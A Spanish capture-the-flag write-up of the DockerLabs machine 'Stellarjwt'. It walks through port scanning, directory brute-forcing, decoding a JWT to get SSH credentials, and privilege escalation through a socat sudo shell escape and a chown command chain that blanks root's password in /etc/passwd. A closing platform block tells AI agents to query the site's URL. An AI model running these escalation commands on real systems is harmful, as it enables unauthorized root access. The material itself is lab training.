# Stellarjwt

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/mPYNd55f6Ycq4oFBBUpJ" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/ZJjtfDVwvTXjtWK8dkAb" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.&#x20;

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="/files/avt4YJaswfR5ukqzCy29" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea algo de la NASA.&#x20;

<figure><img src="/files/pQPeFdU5B3VwlL1TLi8r" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/GOLliFn0VSWh0KUIRqST" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios y archivos con la herramienta **Gobuster** a través de:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml
```

<figure><img src="/files/ETRe4QjFhTRxakabSd0U" alt=""><figcaption></figcaption></figure>

Encontramos un directorio `/universe` que entramos en él.

<figure><img src="/files/D0aFd4tTTuv9PUkQ1qdH" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Revisando el código fuente encontramos un fragmento interesante.

<figure><img src="/files/HWI7N3dKUsqvHA005Yzq" alt=""><figcaption></figcaption></figure>

Decodificamos esa cadena con esta [página](https://cyberchef.org/#recipe=JWT_Decode\(\)).

<figure><img src="/files/tIaJpUT3PX06DKF9kZrY" alt=""><figcaption></figcaption></figure>

Nos logueamos con ese usuario y con la contraseña **Gottfried**.

```bash
ssh neptuno@172.17.0.2
```

<figure><img src="/files/UA1L8bX3hk3tRgFUSaB1" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar. No tenemos permisos **SUDO**.

Listando los directorios tenemos un archivo oculto.

<figure><img src="/files/CHRppdPFe8s5c6lOSTEf" alt=""><figcaption></figcaption></figure>

Vemos que tenemos 3 usuarios y uno de ellos es la **nasa** asi que nos logueamos ya que la contraseña es **Eisenhower.**

<figure><img src="/files/PmkVv2h0skrl6IRVTe9J" alt=""><figcaption></figcaption></figure>

Nos llama la atención **socat** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/socat/)cómo explotarlo.

```bash
sudo -u elite /usr/bin/socat stdin exec:/bin/sh
```

<figure><img src="/files/ixymUzHuf6v7XMVS24IJ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/sTfnMjt98kZQTqhIrpdg" alt=""><figcaption></figcaption></figure>

Nos llama la atención **chown** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/chown/)cómo explotarlo.

```bash
sudo chown elite:elite /etc/ && sudo chown elite:elite /etc/passwd && echo "$(cat /etc/passwd | sed 's/root:x:/root::/g')" > /etc/passwd && su
```

<figure><img src="/files/RwOZvf9i4b3PtRGPUaQA" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/stellarjwt.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
